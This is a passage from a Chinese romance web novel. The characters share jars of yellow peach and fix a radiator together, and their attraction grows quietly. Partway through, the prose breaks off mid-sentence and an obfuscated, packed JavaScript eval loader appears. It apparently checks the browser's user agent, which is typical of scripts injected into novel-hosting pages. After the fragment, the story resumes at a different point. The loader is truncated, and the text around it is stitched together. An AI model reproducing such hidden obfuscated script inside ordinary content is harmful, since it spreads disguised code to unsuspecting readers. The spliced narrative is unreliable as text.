丛宜对于突如其来的未知好意表示困惑,并非不领情,而是以她的逻辑思维习惯性地会纠结原因,视线从罐头挪到段竞洲的脸上,问: “阿姨为什么要送给我罐头?” 段竞洲嗓音平淡从容,把褚女士的话搬过来: “她说那天打电话听你说话有鼻音,感冒吃点罐头会好受,正好家里有现成的,你就当暖气出问题她给你的补偿。” 这么解释完,丛宜的困惑就解开了,唇角弯了弯,下意识“请求”段竞洲:“那你帮我谢谢阿姨。” “嗯。” 段竞洲刚应完,眼前人又撤回了请求:“还是我自己说吧。” 感谢这种事情还是亲自表达显得真诚。 段竞洲刻意多等了她几秒,确定她不会再反复,才由着她的意思:“都行,看你。” 密封的玻璃罐盖子被打开,发出“啵”地短声,果味的甜香瞬间弥散。 段竞洲推到丛宜手边,“拿勺子吃。” “好。” 丛宜起身往厨房走,出来时手里拿了两个长柄勺,非常大方地递给段竞洲一个,“你的。” 段竞洲没接,定睛看着她。 丛宜不解,水润的眸子跟他对视,又把手往上抬了抬示意他拿着,无辜又真诚。 段竞洲抿了下唇,双颊的皮下肌肉绷得紧致,清了清嗓子才把她的手推下去,敛着唇角,“你自己吃。” “你不吃吗?还有一罐的。”丛宜指了指另外一罐。 “不用。”段竞洲拒绝:“都是给你的。” 哪儿有从他家里带来,他还特意给自己带一罐跟她一起吃的道理。 似乎也就只有眼前这位会这么想了。 “好吧。”丛宜顺着妥协。 勺子触碰杯壁的声音清脆,捞上来一大块果肉往嘴里放,水润的汁水混着清新的甜意炸开在口腔里。 丛宜眯了眯眼,喉间不自觉地溢出极小声的满足喟叹,极力又迫切地再次分享: “你真的不吃吗,不会很甜的,你妈妈做得很好吃。” 段竞洲以为嘴被吃的占住,让她不至于说一些试图安慰鼓励人但听起来蹩脚又为难的话,事实上,丛宜依旧有话可说。 在他又一次拒绝后,丛宜不分享了,转而好奇别的问题。 “感冒吃了黄桃罐头真的会有效果吗?” 至少在此之前,她没有听过有类似此种的医学知识。 段竞洲这会儿正在暖气片旁边检查,轻车熟路打开工具箱,不忘回答她,“生理上没用,勉强是心理作用,都是老一辈子传下来的说法。” 按照他们东北的说法就是,早年前因为天寒漫长,鲜果难买,玻璃瓶装的黄桃罐头是稀罕物,也只有家里小孩儿发烧感冒了会舍得开上一罐。 虽说时代不一样了,但说法还在。 “像是甜蜜安慰剂。” 丛宜灵光一闪,想到了个格外贴切能够用来形容黄桃罐头的词语,慢腾腾地念叨:“如果吃了它心情会好,那病自然也会好得快,没有直接作用,但还是有间接效果的。” 段竞洲抽空看她一眼,丛宜因为得出了逻辑自洽的答案而神情满足,观察着桌面上的罐头,颇像是在自言自语。 他认为自己没有接话的必要了。 更确切地说丛宜给人一种她自己就能跟自己相处,偶有情绪不对时自己就能把自己哄好的感觉。 段竞洲收回视线,继续落在面前亟待处理的暖气片上。 今晨气温偏低,窗外雪皑一片,客厅蓦然产生和谐的氛围,一个忙着手上的动作,另一个坐在客厅的垫子上抱着罐头吃,时不时有水流过管道的潺潺声,倒更衬得平静。 丛宜捏着勺子,不知道什么时候把眼神分给了半蹲在暖气片前的宽硕背影,等她意识到时,勺面上的果肉已经啪嗒地掉在了垫子上,湿哒哒的。 她抽过纸巾擦拭干净,目光在段竞洲和罐头中间来回扫视,最后依旧落定在了视野前方的背影上,开始困惑地思考她为什么会出神地盯着段竞洲看呢。 丛宜一直认为自己的专注力还不错,在进行一件事情时极少数情况下会被另一件事打扰和分走注意力。 但显然,眼下就出现了这种极少数情况。 在吃罐头和看段竞洲两件事之间,她从事前者的同时被后者强势地吸引走注意力并且完全忽视掉了前者。 难道是因为黄桃罐头没有段竞洲的魅力大? 丛宜能想到的似乎只有这一种解释。 人的大脑视觉皮层会有优先级的分辨,置于同样的环境下,具有较高魅力的事物会穿过一层一层的筛选从而进入深加工区,也就是所谓的认知注意偏好。 脑子里恰逢时宜地冒出来一句不知道在哪儿听过的话:“认真工作的男人最有魅力。” 或许就是因为段竞洲此时此刻正在认真工作。 思及此,丛宜很坦然就接受了自己注意力分散的理由,并且认为非常合理。 在她捧着一罐吃空了的罐头,右手握着勺子,坦然自若地望着段竞洲时,当事人扭过了头。 猝不及防地对上丛宜的眸光,段竞洲顿了一瞬,以为她这样是有话要说,而后挑了下眉,定定回过眼神,意思不言而喻。 丛宜看不懂眼色,只觉得胸腔猛然有种微缩感,气体憋闷地堵在喉间,果糖快速进到胃里,还没来得及消化,二氧化碳就顶了出来。 无声的气嗝迫使她嘴唇张开,丛宜抬手遮掩的动作慢了一步,脖颈随着这个轻嗝的释放小幅度地一耸一落。 生理上的舒服后就是心理上的羞愧。 怎么可以在别人面前堂而皇之地打嗝?她的设想应该是悄无声息不被发现,这样才显得对别人尊重。 丛宜颇是懊恼,眉毛一下子就下耷了些。 一系列动作被段竞洲尽收眼底,打嗝倒没什么,人之常情,但是欲盖弥彰又懊悔不已的神色足够把人逗乐了。 他本想“善解人意”地装作无事发生的样子,毕竟憋笑对他来说不是什么难事。 只是,丛宜没领会他的意思。 “家里有……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丛宜读的专业就是能动,对机械设备类的本就有兴趣,暖气片类似小型闭式的热力循环系统,起初不敢自己上手的原因是这不是自己的房子,再加上暖气是整个小区都关联的,没有十足的把握她不会冒险。 经了段竞洲的手,仿佛多了一层保障,天然地看懂了原理后,丛宜信心满满。 徒手拧放气阀,气体排完开始流水,出水顺畅后拧紧螺丝,等着升温就行。 丛宜上手起来游刃有余并且乐在其中,段竞洲排完一个就没再继续动作了,因为不打算去抢她的“玩具”。 如同丛宜的自我认知一样,她的专注力的确很强,拧动阀门手上用力的同时,不自觉地鼻子也跟着使力,鼻翼向中间收拢,皱起细微的纹路。 力道汇聚,唇部微微充血,才吃过罐头的缘故,呈现水润又饱满的状态,格外醒目惹眼。 呼呼噜噜的管道流水声和螺丝碰撞的稀碎叮当声交汇下,段竞洲眼前的红唇一张一合,微微翕动,声音却死活进不去耳朵里。 “段竞洲?” 抬高的尾音勉强穿过耳膜,拉回意识之外的人。 段竞洲敛了敛眸子,云淡风轻地应了一声。 “你有在听我说话吗?”丛宜歪头问他。 “抱歉,没听清。” 果然,她说话他都不理会。 不过宽以待人,丛宜一副同样大度的样子表示理解:“没关系,我原谅你了。” 毕竟人都会有分神的时候。 段竞洲头一次发出一种自己难道是个变态的疑问,否则他为什么盯着人的嘴唇看…… 尤其这已经是短时间之内的第三次了,第一次发生在丛宜叼着面包片给他开门的一瞬间,跟个装了雷达的死恋唇癖似的,精准无误地落到人嘴上看。 段竞洲有意移开视线,嗓音淡淡地半揶揄:“我要说谢谢吗?” “不用。”丛宜眉眼盈盈,“你可以把螺丝刀递给我吗,最后这个好像生锈了,徒手拧不开。” 段竞洲顺势看了一眼,从工具箱里抽出工具,往她的方向凑前一步,“我来吧。” 房子年早暖气片用的时间也久,浅褐色的锈垢斑驳地嵌在螺纹与缝隙里,需要借助工具和力量。 对比两人的力量,显而易见,丛宜果断就交给段竞洲了。 金属与锈垢干涩剐蹭,摩擦声吱呀刺耳,声响粗哑滞涩,丛宜嫌弃地皱起眉心。 “离远点儿。”段竞洲出声。 “哦。” 丛宜听话应声,但也只是蹲着踽踽地往后挪动了一小步,大有跟他“同甘共苦”的仗义架势。 因为同在一处位置,空间不大,两人的距离可以说是一步之遥,段竞洲忙着,丛宜无所事事,按在膝盖上的手指一点一顿,目光飘忽。 片刻之后,发出了一声疑叹:“诶?” 听见动静,段竞洲抬眸,“怎么了?” 丛宜伸出一个手指,指着他的右耳朵,仿佛发现新大陆般惊讶,“你的耳朵着火了。”